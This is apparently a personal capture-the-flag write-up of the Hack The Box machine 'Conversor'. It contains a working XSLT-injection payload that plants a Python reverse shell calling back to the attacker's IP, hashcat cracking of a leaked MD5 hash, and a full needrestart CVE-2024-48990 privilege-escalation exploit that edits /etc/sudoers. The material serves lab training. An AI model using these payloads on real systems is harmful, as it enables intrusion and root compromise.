I haven’t been pentesting for over 5 years now due to moving to new positions / roles. But lately I decided to dust off some of my dormant pentesting skills. Over the past few days I’ve completed the HTB Starting Point machines after work. All but the VIP (paid) ones.

I’m rusty, but most basic skills came back pretty quickly. After each machine I quickly regained courage to keep at it and try harder. I even managed to find my old OSCP notes and snippets, rich with one-liners for popping reverse shells, start listeners, upgrading / stabilising shells, etc., etc.

After the Starting Point machines I gave Cap (an easy machine) a go. I managed to root it without needing to cheat, and really enjoyed this one 🙂. Well guided and beginner-friendly.

Today I tried Conversor, and I decided to draft a writeup as soon as I rooted it. I will be publishing this when HTB retires this machine, as per these guidelines. This is my first writeup ever—​I never drafted writeups back when I was still a pentester. I did compete in real CTFs a few times with colleagues, and we even managed to finish 3rd place at the D3NH4CK 2018 CTF (good times).

Anyway, back to the writeup.

First, port enumeration:

user $ nmap -Pn -n -v --open --top 5000 10.129.238.31
Starting Nmap 7.98 ( https://nmap.org ) at 2026-01-24 11:54 +0100
Initiating Connect Scan at 11:54
Scanning 10.129.238.31 [5000 ports]
Discovered open port 22/tcp on 10.129.238.31
Discovered open port 80/tcp on 10.129.238.31
Completed Connect Scan at 11:54, 1.30s elapsed (5000 total ports)
Nmap scan report for 10.129.238.31
Host is up (0.028s latency).
Not shown: 4998 closed tcp ports (conn-refused)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 1.32 seconds

When trying to open the web page, we get a redirect to a non-existing domain name, conversor.htb. We can clearly see this happening with cURL:

user $ curl 10.129.238.31
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>301 Moved Permanently</title>
</head><body>
<h1>Moved Permanently</h1>
<p>The document has moved <a href="http://conversor.htb/">here</a>.</p>
<hr>
<address>Apache/2.4.52 (Ubuntu) Server at 10.129.238.31 Port 80</address>
</body></html>

Let’s (temporarily) add it to our /etc/hosts:

user $ echo 10.129.238.31 conversor.htb | sudo tee -a /etc/hosts

Now we can view the page:

conversor.htb login

There’s an open register function to add our own user and log ourselves in. When registered and logging in, this is what we see:

conversor.htb

Interesting, this seems to be an Nmap XML output parser, which formats its results in a table. It actually seems to function as well. Click on the Download template link to download the XSLT file, and provide it in the XSLT File upload field. Run the above Nmap port enumeration again, outputting it as an XML file:

user $ nmap -Pn -n -v --open --top 5000 10.129.238.31 -oX conversor.xml

Then provide the XML in the XML File upload field, and press the big Convert button. This adds an entry to the Your Uploaded Files section. When opening the new entry, we can clearly see it successfully parsed our XML:

conversor.htb view add01a77 f357 4a8a b645 b4b760f6f62d

XSLT Injection comes to mind, but before we rush to trying to exploit it, the website even allows us to download the source code of this web application, on the About page:

conversor.htb about

Download and extract the source code:

user $ tar xf source_code.tar.gz

There’s an install.md file worth inspecting:

To deploy Conversor, we can extract the compressed file:

"""
tar -xvf source_code.tar.gz
"""

We install flask:

"""
pip3 install flask
"""

We can run the app.py file:

"""
python3 app.py
"""

You can also run it with Apache using the app.wsgi file.

If you want to run Python scripts (for example, our server deletes all files older than 60 minutes to avoid system overload), you can add the following line to your /etc/crontab.

"""
* * * * * www-data for f in /var/www/conversor.htb/scripts/*.py; do python3 "$f"; done
"""

Interesting. It appears this is a Flask application, which runs a script every minute.

There’s also a instance/users.db sqlite database, but it remains empty:

user $ sqlite3 instance/users.db "SELECT * FROM users;"

Now let’s try our suspected XSLT injection, by creating our own malicious XSLT file:

<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet
  xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
  xmlns:exploit="http://exslt.org/common"
  extension-element-prefixes="exploit"
  version="1.0">
  <xsl:template match="/">
    <exploit:document href="/var/www/conversor.htb/scripts/shell.py" method="text">
import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.74",1337));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")
    </exploit:document>
  </xsl:template>
</xsl:stylesheet>

Notice we generate a malicious shell.py file, in the /var/www/conversor.htb/scripts directory, as we identified in the install.md file. Our payload spawns a reverse shell back to our attacking machine (replace IP address and port accordingly). Start a listener to receive the reverse shell:

user $ rlwrap ncat -lnvp 1337

Then upload our normal XML file, and our malicious XSLT file on the web page in the corresponding upload fields, and press the Convert button.

We should get a shell 🎉:

user $ rlwrap ncat -lnvp 1337
Ncat: Version 7.98 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1337
Ncat: Listening on 0.0.0.0:1337
Ncat: Connection from 10.129.238.31:43408.
$

After upgrading / stabilising the shell, we can look around:

$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
www-data@conversor:~$ ls
ls
conversor.htb  users.db
www-data@conversor:~$ ls conversor.htb
ls conversor.htb
app.py  app.wsgi  instance  __pycache__  scripts  static  templates  uploads
www-data@conversor:~$ ls conversor.htb/instance
ls conversor.htb/instance
users.db

We can see the users.db sqlite database file here as well. Let’s read it:

www-data@conversor:~$ sqlite3 conversor.htb/instance/users.db "SELECT * FROM users;"
sqlite3 conversor.htb/instance/users.db "SELECT * FROM users;"
1|fismathack|5b5c3ac3a1c897c94caad48e6c71fdec
5|duif|d73f18ebd66e871b2dd731a2d6b1ccbd

Apart from our own registered user (duif, in my case), we also see a fismathack user, along with what seems to be a MD5 hash. Let’s try to crack it from our attacking machine:

user $ hashcat -m 0 "5b5c3ac3a1c897c94caad48e6c71fdec" /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz --potfile-disable
hashcat (v7.1.2) starting

OpenCL API (OpenCL 3.0 PoCL 7.1  Linux, Release, RELOC, LLVM 20.1.8, SLEEF, DISTRO, CUDA, POCL_DEBUG) - Platform #1 [The pocl project]
======================================================================================================================================
* Device #01: cpu-haswell-12th Gen Intel(R) Core(TM) i7-1265U, 1465/2930 MB (1465 MB allocatable), 12MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Temperature abort trigger set to 90c

Host memory allocated for this attack: 515 MB (1818 MB free)

Dictionary cache building /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gzDictionary cache built:
* Filename..: /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz
* Passwords.: 14344392
* Bytes.....: 139923457
* Keyspace..: 14344383
* Runtime...: 2 secs

[s]tatus [p]ause [b]ypass [c]heckpoint [f]inish [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Mode........: 0 (MD5)
Hash.Target......: 5b5c3ac3a1c897c94caad48e6c71fdec
Time.Started.....: Sat Jan 24 09:49:15 2026 (3 secs)
Time.Estimated...: Sat Jan 24 09:49:19 2026 (1 sec)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  3024.1 kH/s (0.46ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 0/1 (0.00%) Digests (total), 0/1 (0.00%) Digests (new)
Progress.........: 8331264/14344383 (58.08%)
Rejected.........: 0/8331264 (0.00%)
Restore.Point....: 8331264/14344383 (58.08%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: emilianus -> ellis1413
Hardware.Mon.#01.: Util: 23%

5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 0 (MD5)
Hash.Target......: 5b5c3ac3a1c897c94caad48e6c71fdec
Time.Started.....: Sat Jan 24 09:49:15 2026 (4 secs)
Time.Estimated...: Sat Jan 24 09:49:19 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-256 bytes)
Guess.Base.......: File (/usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt.tar.gz)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:  2948.9 kH/s (0.45ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 10985472/14344383 (76.58%)
Rejected.........: 0/10985472 (0.00%)
Restore.Point....: 10973184/14344383 (76.50%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#01...: Keishawn1 -> KNAPP07
Hardware.Mon.#01.: Util: 22%

Started: Sat Jan 24 09:49:11 2026
Stopped: Sat Jan 24 09:49:21 2026

There we have it: 5b5c3ac3a1c897c94caad48e6c71fdec:Keepmesafeandwarm.

Now let’s try to login using the open SSH port:

user $ ssh -o "UserKnownHostsFile=/dev/null" fismathack@10.129.238.31
The authenticity of host '10.129.238.31 (10.129.238.31)' can't be established.
ED25519 key fingerprint is: SHA256:xCQV5IVWuIxtwatNjsFrwT7VS83ttIlDqpHrlnXiHR8
+--[ED25519 256]--+
|      .+==o      |
|       =*.       |
|     o =+= o .   |
|      *.O o + o  |
|     . %So + + o |
|      B = = = E  |
|     . . B + + . |
|        = . . .  |
|       o.        |
+----[SHA256]-----+
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.238.31' (ED25519) to the list of known hosts.
fismathack@10.129.238.31's password:
Welcome to Ubuntu 22.04.5 LTS (GNU/Linux 5.15.0-160-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Sat Jan 24 08:51:11 AM UTC 2026

  System load:  0.0               Processes:             226
  Usage of /:   64.5% of 5.78GB   Users logged in:       0
  Memory usage: 7%                IPv4 address for eth0: 10.129.238.31
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status

The list of available updates is more than a week old.
To check for new updates run: sudo apt update

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Sat Jan 24 08:51:12 2026 from 10.10.14.74
fismathack@conversor:~$ cat user.txt
29b7650741a6e24302a8251909ce1796

And we got our User Flag 🎉.

From here we can run stuff like linpeas, or inspect stuff like sudo -l ourselves:

fismathack@conversor:~$ sudo -l
Matching Defaults entries for fismathack on conversor:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User fismathack may run the following commands on conversor:
    (ALL : ALL) NOPASSWD: /usr/sbin/needrestart

Interesting, this user can run needrestart as root. We can inspect its version:

fismathack@conversor:~$ needrestart -v
[main] eval /etc/needrestart/needrestart.conf
[main] needrestart v3.7
[main] running in user mode
[Core] Using UI 'NeedRestart::UI::stdio'...
[main] systemd detected
[main] vm detected
[main] inside container or vm, skipping microcode checks

Looking up this version online, it seems to be vulnerable to CVE-2024-48990. I found this PoC to be very useful.

Basically, all we need is this script:

#!/bin/bash
set -e
cd /tmp
mkdir -p malicious/importlib

# Create and compile the malicious library
cat << 'EOF' > /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) {  // Only execute if we're running with root privileges
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
EOF

gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c

# Minimal Python script to trigger import
cat << 'EOF' > /tmp/malicious/e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
EOF

cd /tmp/malicious; clear;echo -e "\n\nWaiting for norestart execution...\nEnsure you remove yourself from sudoers on the poc file after\nsudo sed -i '/ALL ALL=NOPASSWD: \/tmp\/poc/d' /etc/sudoers\nAs well as remove excess files created:\nrm -rf malicious/ poc"; PYTHONPATH="$PWD" python3 e.py 2>/dev/null

Sadly, the Conversor machine lacks a C compiler, but we can create our malicious binary from our attacking machine, and then SCP everything over:

user $ mkdir -p /tmp/malicious/importlib
user $ nvim /tmp/malicious/lib.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

static void a() __attribute__((constructor));

void a() {
    if(geteuid() == 0) {  // Only execute if we're running with root privileges
        setuid(0);
        setgid(0);
        const char *shell = "cp /bin/sh /tmp/poc; "
                            "chmod u+s /tmp/poc; "
                            "grep -qxF 'ALL ALL=NOPASSWD: /tmp/poc' /etc/sudoers || "
                            "echo 'ALL ALL=NOPASSWD: /tmp/poc' | tee -a /etc/sudoers > /dev/null &";
        system(shell);
    }
}
user $ gcc -shared -fPIC -o "/tmp/malicious/importlib/__init__.so" /tmp/malicious/lib.c
user $ nvim /tmp/malicious/e.py
import time
while True:
    try:
        import importlib
    except:
        pass
    if __import__("os").path.exists("/tmp/poc"):
        print("Got shell!, delete traces in /tmp/poc, /tmp/malicious")
        __import__("os").system("sudo /tmp/poc -p")
        break
    time.sleep(1)
user $ scp -o "UserKnownHostsFile=/dev/null" -r /tmp/malicious fismathack@10.129.238.31:

Then, on the Conversor machine:

smathack@conversor:~$ mv malicous /tmp/
fismathack@conversor:~$ cd /tmp/malicious/
fismathack@conversor:/tmp/malicious$ PYTHONPATH="$PWD" python3 e.py 2>/dev/null

That starts the listener script. Open another SSH session on the Conversor machine and exploit the CVE-2024-48990 LPE:

fismathack@conversor:~$ sudo needrestart
[sudo] password for fismathack:
Scanning processes...
Scanning linux images...

Running kernel seems to be up-to-date.

No services need to be restarted.

No containers need to be restarted.

No user sessions are running outdated binaries.

No VM guests are running outdated hypervisor (qemu) binaries on this host.

Back to the first SSH session, we should now have a popped root shell and can read the Root Flag 🎉:

fismathack@conversor:/tmp/malicious$ PYTHONPATH="$PWD" python3 e.py 2>/dev/null
Got shell!, delete traces in /tmp/poc, /tmp/malicious
whoami
root
cat /root/root.txt
a5665ab0f2257e84632878e8b34b21b9
pwned

This was an easy and very fun box 🙂.

ℹ️
Don’t forget to remove the /etc/hosts entry, and /tmp/malicious directory on your own machine.